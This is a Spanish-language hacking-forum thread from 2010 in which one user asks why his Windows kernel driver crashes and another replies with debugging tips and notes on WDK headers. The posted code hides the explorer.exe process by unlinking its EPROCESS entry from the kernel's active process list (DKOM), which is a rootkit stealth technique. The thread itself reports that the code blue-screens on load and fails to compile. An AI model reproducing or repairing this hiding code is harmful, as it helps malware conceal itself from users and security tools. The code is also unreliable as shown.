Ayuda con driver

Iniciado por Air_Dragon, 29 Julio 2010, 21:30 PM

0 Miembros y 1 Visitante están viendo este tema.

Air_Dragon

Hola, estoy usando este codigo posteado por Hendrix http://foro.elhacker.net/programacion_cc/modo_kernel_listando_procesos_incluso_ocultos_por_dkom_simple-t282019.0.html;msg1390274

Lo que me pasa es que cuando lo cargo me sale pantalla azul.. y reinicio de la pc.. o sea se muere todo.. me pasa en XP, Vista y Seven.. talvez tiene algo incorrecto el Codigo, si alguien puede ayudarme le agradezco ..:)

#include <ntddk.h>
#include <ntifs.h>

void Salir(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Saliendo");
}

void HideProcess( char* input )
{
PEPROCESS PeProcess = NULL;
PLIST_ENTRY pNextEntry, pListHead;
PLIST_ENTRY BeforeProcess,Process,AfterProcess;
PeProcess = PsGetCurrentProcess();
if(!PeProcess)
return;
if(IsListEmpty(&PeProcess->ActiveProcessLinks))
return;
else
{
pListHead = &PeProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;

while(pNextEntry != pListHead)
{
PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
if(PeProcess->ActiveThreads)
{
if( !IsListEmpty( &PeProcess->ThreadListHead ) )
{
if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
{
Process = pNextEntry;
BeforeProcess = pNextEntry->Blink;
AfterProcess = pNextEntry->Flink;
BeforeProcess->Flink = Process->Flink;
AfterProcess->Blink = Process->Blink;
return;
}
}
}
PeProcess = NULL;
pNextEntry = pNextEntry->Flink;
}
}
return;
}

NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS s;
int i=0;
int e = 0;
int nstruct = 0;
int cont = 0;
unsigned long pid;
PUNICODE_STRING pUnicode_NAme;
ANSI_STRING stri;
PEPROCESS eproc;

    DriverObject->DriverUnload=Salir;

DbgPrint("Escondiendo explorer.exe...");
HideProcess("explorer.exe");
DbgPrint("Trabajo terminado :)");
return  STATUS_SUCCESS;
}

Eternal Idol

¿Lo entendes? ¿Leiste el otro hilo completo?

Genera un dump o depuralo.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Air_Dragon

Si lo lei, tb me lei todo el tuto que el mismo hendrix hizo de como programar los drivers..

Evidentemente hay algo q estoy haciendo mal.. por eso posteo por aqui...

Como puedo debuguear el driver? xq cuando lo testeo con osrloader, se me cuelga todo ^^

Eternal Idol

Necesitas dos maquinas y puerto COM o firewire, tambien podes hacerlo en una maquina virtual con un puerto COM.

Busca en Google: kernel debugging windbg.


PD. No se ni como generas el codigo con las cabeceras que tiene y las estructuras indefinidas.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Air_Dragon

Voy a leer eso del debug...
uso las librerias por defecto de SDK

#include <ntddk.h>
#include <ntifs.h>




Eternal Idol

#5
Son del WDK (antiguo DDK) e historicamente no se usan las dos al mismo tiempo, se usa una o la otra. Desde la version de Vista del WDK se puede incluir ntifs.h y despues ntddk.h (lo que es redundante) pero haciendo lo contrario hay errores de doble definicion ...

Cita de: WDKOrganization of Wdm.h, Ntddk.h, and Ntifs.h
Before the Windows Vista version of the WDK, the main header files that are used driver development—Wdm.h, Ntddk.h, and Ntifs.h—contained many duplicate declarations.

Beginning with the Windows Vista version of the WDK, Wdm.h, Ntddk.h, and Ntifs.h are organized hierarchically and do not contain duplicate information. The higher-level files include the lower-level files. Each function and structure declaration appears only once.

Ntifs.h includes Ntddk.h, and Ntddk.h includes Wdm.h.

Cita de: WDKFiles that are higher in the hierarchy include files that are lower in the hierarchy. Specifically, Ntifs.h includes Ntddk.h, which includes Wdm.h. This hierarchy eliminates the duplication of contents that occurred when the files were not hierarchical.

Igual poniendo el orden correcto tampoco compila el codigo ... tal vez con un WDK mas moderno que el codigo que si defina los campos de EPROCESS ...
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Air_Dragon

Es que a mi me compila, claro comente algunas declaraciones repetidas, xq no lo hice como posteas ahi, no me di cuenta q estaban re declaradas xq una libreria incluia otra...

Compila sin problemas, el crash de windows es cuando le doy Run al driver..


Eternal Idol

¿Editaste los archivos del WDK para poder generar el binario? Podrias decir que version usas y pegar el contenido del archivo SOURCES para ver como lo generas.

PD. No estan redeclaradas por lo contrario actualmente, originalmente iban separadas, incluso existia el DDK (ntddk.h) y el IFS (ntifs.h).
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Air_Dragon

#8
Version: 7600.16385.1 (creo que es la ultima)

Makefile
!INCLUDE $(NTMAKEENV)\makefile.def

Source
TARGETNAME=Protect
TARGETTYPE=DRIVER
TARGETPATH=obj


INCLUDES=..\..\inc

SOURCES = driver.c


Y el .c esta posteado arriba, me genera eso si 2 warnings..

48    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)  
 
        driver.c(48) : warning 28101: The Drivers module has inferred that the current function is a DRIVER_INITIALIZE function: This is informational only. No problem has been detected.
Found in function 'DriverEntry'
48  


59        DriverObject->DriverUnload=Salir;  
 
        driver.c(59) : warning 28155: The function being assigned or passed should be a DRIVER_UNLOAD function: Add the declaration 'DRIVER_UNLOAD Salir;' before the current first declaration of Salir.
Found in function 'DriverEntry'
59  




Eternal Idol

Tendre que bajar la ultima version entonces ...

\winddk\6000\inc\ddk\ntifs.h(85) : error C2371: 'PEPROCESS' : redefinition; different basic types
\winddk\6000\inc\ddk\ntifs.h(86) : error C2371: 'PETHREAD' : redefinition; different basic types

driver.c(18) : error C2037: left of 'ActiveProcessLinks' specifies undefined struct/union '_KPROCESS'
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón